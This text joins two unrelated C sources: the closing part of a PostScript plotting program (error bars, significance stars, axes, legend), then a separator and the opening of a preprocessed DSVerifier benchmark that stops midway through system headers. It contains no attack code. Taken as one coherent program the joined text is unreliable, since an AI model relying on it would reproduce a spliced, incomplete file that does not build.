fprintf(fpout," newpoint moveto\n"); // move to x/y coordinates - f remains
fprintf(fpout," starfont -5.4 div 0 rmoveto\n"); // x-shift based on fraction of font-size to align "*" to middle of x-position
fprintf(fpout," { gsave (*) show grestore 0 starfont 0.33333 mul rmoveto } repeat\n"); // last remaining argument (nstars) used for loop
fprintf(fpout," } def\n");
/* define plot commands for stars below error bars (significance levels) */
fprintf(fpout,"/HSTARS2 { %% Add horizontal stars below mean : call [nstars] [x] [y] S\n");
fprintf(fpout," newpath\n");
fprintf(fpout," newpoint moveto\n"); // move to x/y coordinates - f remains
fprintf(fpout," dup\n"); // duplicate the value for number-of-stars - used for x-adjustment n next step
fprintf(fpout," starfont -5.4 div mul starfont -1.15 mul rmoveto\n"); // x-shift based on fraction of font-size to align "*" to middle of x-position, and also y-shift down one fontsize to put stars below bar or error-bar
fprintf(fpout," { (*) show } repeat\n"); // last remaining argument (nstars) used for loop
fprintf(fpout," } def\n");
fprintf(fpout,"/VSTARS2 { %% Add vertical stars below mean : call [nstars] [x] [y] S\n");
fprintf(fpout," newpath\n");
fprintf(fpout," newpoint moveto\n"); // move to x/y coordinates - f remains
fprintf(fpout," starfont -5.4 div starfont -1.15 mul rmoveto\n"); // x-shift based on fraction of font-size to align "*" to middle of x-positionn, and also y-shift down one fontsize to put stars below bar or error-bar
fprintf(fpout," { gsave (*) show grestore 0 starfont -3 div rmoveto } repeat\n"); // last remaining argument (nstars) used for loop - here we shift down, instead of up
fprintf(fpout," } def\n");
/* SHIFT COORDINATES FOR THIS PLOT */
fprintf(fpout,"\n%% SHIFT_COORDINATES\n");
fprintf(fpout,"%.14g %.14g translate\n",zx,zy);
fprintf(fpout,"\n%% PLOT_CODE_START\n");
/* DEFINE PLOT-SPECIFIC PARAMETERS */
fprintf(fpout,"\n%% DEFINE_PLOT_PARAMETERS\n");
fprintf(fpout,"/xoffset {%.14g} def\n",(setxpad-xmin)*xfactor);
fprintf(fpout,"/yoffset {%.14g} def\n",(setypad-ymin)*yfactor);
fprintf(fpout,"/newx {%.14g mul xoffset add } def\n",xfactor);
fprintf(fpout,"/newy {%.14g mul yoffset add } def\n",yfactor);
fprintf(fpout,"/newpoint {newy exch newx exch} def\n");
fprintf(fpout,"/xlabel {(%s)} def\n",xlabel);
fprintf(fpout,"/ylabel {(%s)} def\n",ylabel);
fprintf(fpout,"/plottitle {(%s)} def\n",plottitle);
/* DEFINE DATASET-RELATED PARAMETERS */
fprintf(fpout,"\n%% DEFINE_DATA_RELATED_VALUES\n");
fprintf(fpout,"/linewidth_data {%.14g} def\n",lwdata);
fprintf(fpout,"/linewidth_error {%.14g} def\n",lwerror);
fprintf(fpout,"/linewidth_axes {%.14g} def\n",lwaxes);
fprintf(fpout,"/L { line } def \n");
if(pointfill==-1) fprintf(fpout,"/P { %s%c } def\n",plottype,'w');
else fprintf(fpout,"/P { %s } def\n",plottype);
if(setstartype==1) {
fprintf(fpout,"/S1 { HSTARS1 } def\n");
fprintf(fpout,"/S2 { HSTARS2 } def\n");
}
else if(setstartype==2) {
fprintf(fpout,"/S1 { VSTARS1 } def\n");
fprintf(fpout,"/S2 { VSTARS2 } def\n");
}
fprintf(fpout,"\n");
fprintf(fpout,"/pointsize {%.14g} def\n",pointsize);
if(pointfill==0) fprintf(fpout,"/pointdraw { closepath } def\n"); // points are not filled (transparent centre)
else fprintf(fpout,"/pointdraw { fill } def\n"); // points filled with colour, -1 = white, +1 = data colour
fprintf(fpout,"/ewidth { %.14g } def \n",ewidth*xfactor);
fprintf(fpout,"/fwidth { %.14g } def \n",ewidth*yfactor);
fprintf(fpout,"/boxwidth { %.14g } def \n",boxwidth*xfactor);
if(boxyzero==0) fprintf(fpout,"/boxyzero {%.14g} def\n",(lwaxes/2.0)); // boxes and histograms run to x-axis, plus width of frame
else if(boxyzero==1) fprintf(fpout,"/boxyzero {0 newy} def\n"); // boxes and histograms run to zero
/********************************************************************************/
/* PLOT DATA */
/********************************************************************************/
if(setverb==999) printf("*** STARTING: POSTSCRIPT DATA-WRITING\n");
/* GENERATE RECTANGLE, IF SPECIFIED */
if(setrect!=NULL) {
iword= xf_lineparse2(setrect,",",&nwords);
if(nwords!=7) {fprintf(stderr,"\n--- Error [%s]: invalid -rect option - must contain 7 comma-separated values\n\n",thisprog);exit(1);}
fprintf(fpout,"\n%% DRAW RECTANGLE\n");
aa= atof(setrect+iword[0]);
bb= atof(setrect+iword[1]);
cc= atof(setrect+iword[2]);
fprintf(fpout,"%g %g %g setrgbcolor\n",aa,bb,cc);
aa= atof(setrect+iword[3]); if(!isfinite(aa)) aa=xmin-setxpad;
bb= atof(setrect+iword[4]); if(!isfinite(bb)) bb=ymin-setypad;
cc= atof(setrect+iword[5]); if(!isfinite(cc)) cc=xmax+setxpad;
dd= atof(setrect+iword[6]); if(!isfinite(dd)) dd=ymax+setypad;
fprintf(fpout,"%g %g newpoint moveto\n",aa,bb);
fprintf(fpout,"%g %g newpoint lineto\n",aa,dd);
fprintf(fpout,"%g %g newpoint lineto\n",cc,dd);
fprintf(fpout,"%g %g newpoint lineto\n",cc,bb);
fprintf(fpout,"fill\n");
}
/* FOR EACH GROUP */
for(grp=0;grp<ngrps;grp++) {
/* determine colours for data & lines (tempcolour1) */
if(strcmp(setpal,"default")==0 && gints==1) jj= atol((gwords+igword[grp]))+setdatacolour; //
else jj= grprank[grp]+setdatacolour;
tempcolour1= xf_scale1_l(jj,0,(ncolours-1)); // ensure colours stay within range
/* determine colours for errorbars (tempcolour2) */
kk= jj+setebright;
tempcolour2= xf_scale1_l(kk,0,(ncolours-1)); // ensure colours stay within range
fprintf(fpout,"\n%% PLOT_VALUES_GROUP_%ld\n",grp);
/* make a temporary copy of x,y,z and group variables */
nn=0;for(ii=0;ii<n1;ii++) {
aa= xdata[ii];
bb= ydata[ii];
if(gdata[ii]==grp) {
temp_xdata[nn]= aa+grpshift[grprank[grp]];
temp_ydata[nn]= bb;
if(setecol>0) temp_edata[nn]= edata[ii];
if(setfcol>0) temp_fdata[nn]= fdata[ii];
if(setscol>0) temp_sdata[nn]= sdata[ii];
temp_linebreak[nn]= linebreak[ii];
nn++;
}}
fprintf(fpout,"\t%% PLOT_Y-ERRORBARS\n");
if(setecol>0) {
/* set colour for error-bars - adjust to brighter if required */
fprintf(fpout,"\tc%ld setrgbcolor\n",tempcolour2);
fprintf(fpout," linewidth_error setlinewidth\n");
fprintf(fpout," newpath\n");
// first go to first in-range data point
fprintf(fpout,"\t%.14g %.14g newpoint moveto\n",temp_xdata[0],temp_ydata[0]);
// now plot the rest
for(ii=0;ii<nn;ii++) fprintf(fpout,"\t%.14g %.14g %.14g E\n",temp_edata[ii]*yfactor,temp_xdata[ii],temp_ydata[ii]);
fprintf(fpout," stroke\n");
fprintf(fpout," closepath\n");
}
fprintf(fpout,"\t%% PLOT_X-ERRORBARS\n");
if(setfcol>0) {
/* set colour for error-bars - adjust to brighter if required */
fprintf(fpout,"\tc%ld setrgbcolor\n",tempcolour2);
fprintf(fpout," linewidth_error setlinewidth\n");
fprintf(fpout," newpath\n");
// first go to first in-range data point
fprintf(fpout,"\t%.14g %.14g newpoint moveto\n",temp_xdata[0],temp_ydata[0]);
// now plot the rest
for(ii=0;ii<nn;ii++) fprintf(fpout,"\t%.14g %.14g %.14g F\n",temp_fdata[ii]*xfactor,temp_xdata[ii],temp_ydata[ii]);
fprintf(fpout," stroke\n");
fprintf(fpout," closepath\n");
}
fprintf(fpout," %% PLOT_STARS\n");
if(setscol>0) {
fprintf(fpout,"\tc%ld setrgbcolor\n",tempcolour1);
fprintf(fpout,"\t/Helvetica findfont starfont scalefont setfont\n");
for(ii=0;ii<nn;ii++) {
if(setecol>0) ee= temp_edata[ii]; // y-errorbar offset
// for box-plots with mean <0 and boxes extending to zero, use the S2 stars functionwhich puts stars BELOW the mean-minus-errorbar
if(strcmp(plottype,"box")==0 && boxyzero==1 && temp_ydata[ii]<0.0) {
fprintf(fpout,"\t%d %g %g S2\n",temp_sdata[ii],temp_xdata[ii],(temp_ydata[ii]-ee));
}
// otherwise just use S1, which puts the stars above the mean-plus-errorbar
else {
fprintf(fpout,"\t%d %g %g S1\n",temp_sdata[ii],temp_xdata[ii],(temp_ydata[ii]+ee));
}
}
}
fprintf(fpout,"\t%% PLOT_LINES\n");
/* set colour for data */
fprintf(fpout,"\tc%ld setrgbcolor\n",tempcolour1);
if(setline>0) {
fprintf(fpout,"\tlinewidth_data setlinewidth\n");
fprintf(fpout,"\tnewpath\n");
// first go to first in-range data point
fprintf(fpout,"\t%.14g %.14g newpoint moveto\n",temp_xdata[0],temp_ydata[0]);
// now plot the rest
for(ii=0;ii<nn;ii++) {
if(temp_linebreak[ii]==1) {
fprintf(fpout," stroke\n");
fprintf(fpout," closepath\n");
fprintf(fpout," newpath\n");
fprintf(fpout,"\t%.14g %.14g newpoint moveto\n",temp_xdata[ii],temp_ydata[ii]);
}
fprintf(fpout,"\t%.14g %.14g L\n",temp_xdata[ii],temp_ydata[ii]);
dd=temp_xdata[ii];
}
fprintf(fpout," stroke\n");
fprintf(fpout," closepath\n");
}
fprintf(fpout," %% PLOT_POINTS\n");
/* set colour for data */
fprintf(fpout,"\tc%ld setrgbcolor\n",tempcolour1);
if(pointsize>0) {
fprintf(fpout," linewidth_data setlinewidth\n");
fprintf(fpout," newpath\n");
// plot the points (no need to move to start position first
for(ii=0;ii<nn;ii++) fprintf(fpout,"\t%.14g %.14g P\n",temp_xdata[ii],temp_ydata[ii]);
fprintf(fpout," stroke\n");
fprintf(fpout," closepath\n");
}
}
/* DRAW FRAME */
fprintf(fpout,"\n%% DRAW_FRAME\n");
fprintf(fpout,"cf setrgbcolor\n");
fprintf(fpout,"linewidth_axes setlinewidth\n");
if(framestyle>0) {
if ((int)(framestyle&1)>0) f1=1;
if ((int)(framestyle&2)>0) f2=1;
if ((int)(framestyle&4)>0) f3=1;
if ((int)(framestyle&8)>0) f4=1;
fprintf(fpout,"newpath\n");
if (f1==1) {
fprintf(fpout,"%.14g 0 moveto 0 0 lineto\n",xlimit);
if (f2==0) fprintf(fpout,"stroke\n");
}
if (f2==1) {
if(f1==0) fprintf(fpout,"newpath 0 0 moveto\n");
fprintf(fpout,"0 %.14g lineto\n",ylimit);
if(f3==0) fprintf(fpout,"stroke\n");
}
if (f3==1) {
if(f2==0) fprintf(fpout,"newpath 0 %.14g moveto\n",ylimit);
fprintf(fpout,"%.14g %.14g lineto\n",xlimit,ylimit);
if(f4==0) fprintf(fpout,"stroke\n");
}
if (f4==1){
if(f3==0) fprintf(fpout,"newpath %.14g %.14g moveto\n",xlimit,ylimit);
fprintf(fpout,"%.14g 0 lineto \n",xlimit);
if(f1==0) fprintf(fpout,"stroke\n");
else fprintf(fpout,"0 0 lineto stroke\n");
}
fprintf(fpout,"stroke\n");
}
/* DRAW YZERO-LINE IF REQUIRED */
fprintf(fpout,"\n%% DRAW_YZERO_LINE\n");
if(setyzeroline==1 && ymin<0&&ymax>0) {
fprintf(fpout,"\n%% DRAW_YZERO_LINE\n");
fprintf(fpout,"cf setrgbcolor\n");
fprintf(fpout," linewidth_axes setlinewidth\n");
fprintf(fpout,"newpath 0 0 newy moveto %.14g 0 rlineto\n",xlimit);
fprintf(fpout,"stroke\n");
fprintf(fpout,"\n");
}
/********************************************************************************/
/* DRAW TICS AND TIC-LABELS */
/********************************************************************************/
fprintf(fpout,"\n%% DRAW_TICS_AND_LABELS\n");
fprintf(fpout,"/Helvetica findfont basefontsize scalefont setfont\n");
fprintf(fpout,"cf setrgbcolor\n");
fprintf(fpout," linewidth_axes setlinewidth\n");
// XTICS: if zero is in the range, make sure zero is included as a tic mark
if(setxint>=0) {
fprintf(fpout,"newpath\n");
if((xmin<=0 && xmax>0)||(xmax>=0 && xmin<0)) {
for(aa=0;aa>=(xticmin-setxpad);aa-=xint) {
if(xticprecision==0) fprintf(fpout,"(%ld) %ld xtic\n",(long)aa,(long)aa);
else fprintf(fpout,"(%.*f) %.*f xtic\n",xticprecision,aa,xticprecision,aa);
}
for(aa=(0+xint);aa<=(xticmax+setxpad);aa+=xint) {
if(xticprecision==0) fprintf(fpout,"(%ld) %ld xtic\n",(long)aa,(long)aa);
else fprintf(fpout,"(%.*f) %.*f xtic\n",xticprecision,aa,xticprecision,aa);
}
}
else for(aa=xticmin; aa<=(xticmax+setxpad); aa+=xint) {
if(xticprecision==0) fprintf(fpout,"(%ld) %ld xtic\n",(long)aa,(long)aa);
else fprintf(fpout,"(%.*f) %.*f xtic\n",xticprecision,aa,xticprecision,aa);
}
fprintf(fpout,"stroke\n");
}
// YTICS: if zero is in the range, make sure zero is included as a tic mark
if(setyint>=0) {
fprintf(fpout,"newpath\n");
if((ymin<=0 && ymax>0)||(ymax>=0 && ymin<0)) {
/* do numbers <0 */
for(aa=0;aa>=(yticmin-setypad);aa-=yint) {
if(yticprecision==0) fprintf(fpout,"(%ld) %ld ytic\n",(long)aa,(long)aa);
else fprintf(fpout,"(%.*f) %.*f ytic\n",yticprecision,aa,yticprecision,aa);
}
/* do numbers >0 */
for(aa=(0+yint);aa<=(yticmax+setypad);aa+=yint) {
if(yticprecision==0) fprintf(fpout,"(%ld) %ld ytic\n",(long)aa,(long)aa);
else fprintf(fpout,"(%.*f) %.*f ytic\n",yticprecision,aa,yticprecision,aa);
}
}
else {
for(aa=yticmin; aa<=(yticmax+setypad); aa+=yint) {
if(yticprecision==0) fprintf(fpout,"(%ld) %ld ytic\n",(long)aa,(long)aa);
else fprintf(fpout,"(%.*f) %.*f ytic\n",yticprecision,aa,yticprecision,aa);
}
}
fprintf(fpout,"stroke\n");
}
fprintf(fpout,"\n");
/* DRAW AXIS LABELS - 2 font sizes larger than basefont, centred on each axis */
fprintf(fpout,"\n%% DRAW_AXIS_LABELS\n");
fprintf(fpout,"/Helvetica-Bold findfont basefontsize 2 add scalefont setfont\n");
fprintf(fpout,"xlabel %.14g 0 xaxislabel\n",xlimit/2.0);
fprintf(fpout,"ylabel %.14g 0 yaxislabel\n",ylimit/2.0);
/* DRAW PLOT TITLE - 4 font sizes larger than basefont */
fprintf(fpout,"\n%% DRAW_PLOT_TITLE\n");
fprintf(fpout,"/Helvetica-Bold findfont basefontsize 4 add scalefont setfont\n");
fprintf(fpout,"plottitle 0 %.14g f_plottitle\n",ylimit);
/* DRAW PLOT LEGEND - lower-left or upper-right of plot */
fprintf(fpout,"\n%% DRAW_PLOT_LEGEND\n");
if(setlegend>0) {
fprintf(fpout,"/Helvetica-Bold findfont legendfontsize scalefont setfont\n");
for(grp=0;grp<ngrps;grp++) {
/* determine colours for data & lines (tempcolour1) and errorbars (tempcolour2) */
if(strcmp(setpal,"default")==0 && gints==1) jj= atol((gwords+igword[grp]))+setdatacolour; //
else jj= grprank[grp]+setdatacolour;
tempcolour1= xf_scale1_l(jj,0,(ncolours-1)); // ensure colours stay within range, even if modified by -colour
fprintf(fpout,"(%s) 0 %ld c%ld f_plotlegend\n",(gwords+igword[grp]),grprank[grp],tempcolour1);
}}
/* DRAW USER-DEFINED HORIZONTAL LINES, IF REQUIRED */
/* Note: this uses the xe-plottable1 "line" function to position at the correct coordinates*/
fprintf(fpout,"\n%% PLOT_USERLINE_HORIZONTAL\n");
if(sethline==1) {
fprintf(fpout,"linewidth_axes setlinewidth\n");
for(ii=0;ii<MAXUSERLINES;ii++) {
if(isfinite(hline[ii])) {
fprintf(fpout,"newpath\n");
fprintf(fpout,"%.14g %.14g newpoint moveto\n",(xmin-setxpad),hline[ii]);
fprintf(fpout,"%.14g %.14g line\n",(xmax+setxpad),hline[ii]);
fprintf(fpout,"[3] 0 setdash stroke\n");
fprintf(fpout,"closepath\n\n");
}}}
/* DRAW USER-DEFINED VERTICAL LINES, IF REQUIRED */
/* Note: this uses the xe-plottable1 "line" function to position at the correct coordinates*/
fprintf(fpout,"\n%% PLOT_USERLINES_VERTICAL\n");
if(setvline==1) {
fprintf(fpout,"linewidth_axes setlinewidth\n");
for(ii=0;ii<MAXUSERLINES;ii++) {
if(isfinite(vline[ii])) {
fprintf(fpout,"newpath\n");
fprintf(fpout,"%.14g %.14g newpoint moveto\n",vline[ii],(ymin-setypad));
fprintf(fpout,"%.14g %.14g line\n",vline[ii],(ymax+setypad));
fprintf(fpout,"[3] 0 setdash stroke\n");
fprintf(fpout,"closepath\n\n");
}}}
fprintf(fpout,"\n%% PLOT_CODE_END\n");
fprintf(fpout,"\n%% SHOW_PAGE\n");
fprintf(fpout,"showpage\n");
fclose(fpout);
END:
if(xdata!=NULL) free(xdata);
if(ydata!=NULL) free(ydata);
if(gdata!=NULL) free(gdata);
if(edata!=NULL) free(edata);
if(fdata!=NULL) free(fdata);
if(sdata!=NULL) free(sdata);
if(temp_xdata!=NULL) free(temp_xdata);
if(temp_ydata!=NULL) free(temp_ydata);
if(temp_edata!=NULL) free(temp_edata);
if(temp_fdata!=NULL) free(temp_fdata);
if(temp_sdata!=NULL) free(temp_sdata);
if(linebreak!=NULL) free(linebreak);
if(temp_linebreak!=NULL) free(temp_linebreak);
if(hlineword!=NULL) free(hlineword);
if(vlineword!=NULL) free(vlineword);
if(igword!=NULL) free(igword);
if(gwords!=NULL) free(gwords);
if(grprank!=NULL) free(grprank);
if(grpshift!=NULL) free(grpshift);
if(tempdouble!=NULL) free(tempdouble);
if(temprank!=NULL) free(temprank);
if(red!=NULL)free(red);
if(green!=NULL) free(green);
if(blue!=NULL) free(blue);
exit(0);
}
|
the_stack_data/70450730.c
|
# 1 "benchmarks/ds-07-impl2.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 1 "<command-line>" 2
# 1 "benchmarks/ds-07-impl2.c"
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h"
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h" 1
# 132 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h"
int X_SIZE_VALUE = 0;
int overflow_mode = 1;
int rounding_mode = 0;
# 155 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h"
typedef struct {
double a[100];
int a_size;
double b[100];
int b_size;
double sample_time;
double a_uncertainty[100];
double b_uncertainty[100];
} digital_system;
typedef struct {
double A[4][4];
double B[4][4];
double C[4][4];
double D[4][4];
double states[4][4];
double outputs[4][4];
double inputs[4][4];
double K[4][4];
unsigned int nStates;
unsigned int nInputs;
unsigned int nOutputs;
} digital_system_state_space;
typedef struct {
int int_bits;
int frac_bits;
double max;
double min;
int default_realization;
double delta;
int scale;
double max_error;
} implementation;
typedef struct {
int push;
int in;
int sbiw;
int cli;
int out;
int std;
int ldd;
int subi;
int sbci;
int lsl;
int rol;
int add;
int adc;
int adiw;
int rjmp;
int mov;
int sbc;
int ld;
int rcall;
int cp;
int cpc;
int ldi;
int brge;
int pop;
int ret;
int st;
int brlt;
int cpi;
} instructions;
typedef struct {
long clock;
int device;
double cycle;
instructions assembly;
} hardware;
typedef struct{
float Ap, Ar, Ac;
float wp, wc, wr;
int type;
}filter_parameters;
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
# 1 "/usr/include/stdlib.h" 1 3 4
# 25 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 33 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 3 4
# 1 "/usr/include/features.h" 1 3 4
# 461 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 1 3 4
# 452 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 453 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 454 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 462 "/usr/include/features.h" 2 3 4
# 485 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs-64.h" 1 3 4
# 11 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 2 3 4
# 486 "/usr/include/features.h" 2 3 4
# 34 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 2 3 4
# 26 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
typedef long unsigned int size_t;
# 321 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
typedef int wchar_t;
# 32 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitflags.h" 1 3 4
# 52 "/usr/include/x86_64-linux-gnu/bits/waitflags.h" 3 4
typedef enum
{
P_ALL,
P_PID,
P_PGID
} idtype_t;
# 40 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitstatus.h" 1 3 4
# 41 "/usr/include/stdlib.h" 2 3 4
# 55 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 1 3 4
# 120 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 25 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 2 3 4
# 121 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 2 3 4
# 56 "/usr/include/stdlib.h" 2 3 4
typedef struct
{
int quot;
int rem;
} div_t;
typedef struct
{
long int quot;
long int rem;
} ldiv_t;
__extension__ typedef struct
{
long long int quot;
long long int rem;
} lldiv_t;
# 97 "/usr/include/stdlib.h" 3 4
extern size_t __ctype_get_mb_cur_max (void) __attribute__ ((__nothrow__ , __leaf__)) ;
extern double atof (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern int atoi (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern long int atol (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
__extension__ extern long long int atoll (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern double strtod (const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern float strtof (const char *__restrict __nptr,
char **__restrict __endptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long double strtold (const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 176 "/usr/include/stdlib.h" 3 4
extern long int strtol (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern unsigned long int strtoul (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern long long int strtoq (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern unsigned long long int strtouq (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern long long int strtoll (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern unsigned long long int strtoull (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 385 "/usr/include/stdlib.h" 3 4
extern char *l64a (long int __n) __attribute__ ((__nothrow__ , __leaf__)) ;
extern long int a64l (const char *__s)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
# 1 "/usr/include/x86_64-linux-gnu/sys/types.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 28 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/timesize.h" 1 3 4
# 29 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned char __u_char;
typedef unsigned short int __u_short;
typedef unsigned int __u_int;
typedef unsigned long int __u_long;
typedef signed char __int8_t;
typedef unsigned char __uint8_t;
typedef signed short int __int16_t;
typedef unsigned short int __uint16_t;
typedef signed int __int32_t;
typedef unsigned int __uint32_t;
typedef signed long int __int64_t;
typedef unsigned long int __uint64_t;
typedef __int8_t __int_least8_t;
typedef __uint8_t __uint_least8_t;
typedef __int16_t __int_least16_t;
typedef __uint16_t __uint_least16_t;
typedef __int32_t __int_least32_t;
typedef __uint32_t __uint_least32_t;
typedef __int64_t __int_least64_t;
typedef __uint64_t __uint_least64_t;
typedef long int __quad_t;
typedef unsigned long int __u_quad_t;
typedef long int __intmax_t;
typedef unsigned long int __uintmax_t;
# 141 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/typesizes.h" 1 3 4
# 142 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/time64.h" 1 3 4
# 143 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned long int __dev_t;
typedef unsigned int __uid_t;
typedef unsigned int __gid_t;
typedef unsigned long int __ino_t;
typedef unsigned long int __ino64_t;
typedef unsigned int __mode_t;
typedef unsigned long int __nlink_t;
typedef long int __off_t;
typedef long int __off64_t;
typedef int __pid_t;
typedef struct { int __val[2]; } __fsid_t;
typedef long int __clock_t;
typedef unsigned long int __rlim_t;
typedef unsigned long int __rlim64_t;
typedef unsigned int __id_t;
typedef long int __time_t;
typedef unsigned int __useconds_t;
typedef long int __suseconds_t;
typedef int __daddr_t;
typedef int __key_t;
typedef int __clockid_t;
typedef void * __timer_t;
typedef long int __blksize_t;
typedef long int __blkcnt_t;
typedef long int __blkcnt64_t;
typedef unsigned long int __fsblkcnt_t;
typedef unsigned long int __fsblkcnt64_t;
typedef unsigned long int __fsfilcnt_t;
typedef unsigned long int __fsfilcnt64_t;
typedef long int __fsword_t;
typedef long int __ssize_t;
typedef long int __syscall_slong_t;
typedef unsigned long int __syscall_ulong_t;
typedef __off64_t __loff_t;
typedef char *__caddr_t;
typedef long int __intptr_t;
typedef unsigned int __socklen_t;
typedef int __sig_atomic_t;
# 30 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __u_char u_char;
typedef __u_short u_short;
typedef __u_int u_int;
typedef __u_long u_long;
typedef __quad_t quad_t;
typedef __u_quad_t u_quad_t;
typedef __fsid_t fsid_t;
typedef __loff_t loff_t;
typedef __ino_t ino_t;
# 59 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __dev_t dev_t;
typedef __gid_t gid_t;
typedef __mode_t mode_t;
typedef __nlink_t nlink_t;
typedef __uid_t uid_t;
typedef __off_t off_t;
# 97 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __pid_t pid_t;
typedef __id_t id_t;
typedef __ssize_t ssize_t;
typedef __daddr_t daddr_t;
typedef __caddr_t caddr_t;
typedef __key_t key_t;
# 1 "/usr/include/x86_64-linux-gnu/bits/types/clock_t.h" 1 3 4
typedef __clock_t clock_t;
# 127 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/clockid_t.h" 1 3 4
typedef __clockid_t clockid_t;
# 129 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/time_t.h" 1 3 4
typedef __time_t time_t;
# 130 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/timer_t.h" 1 3 4
typedef __timer_t timer_t;
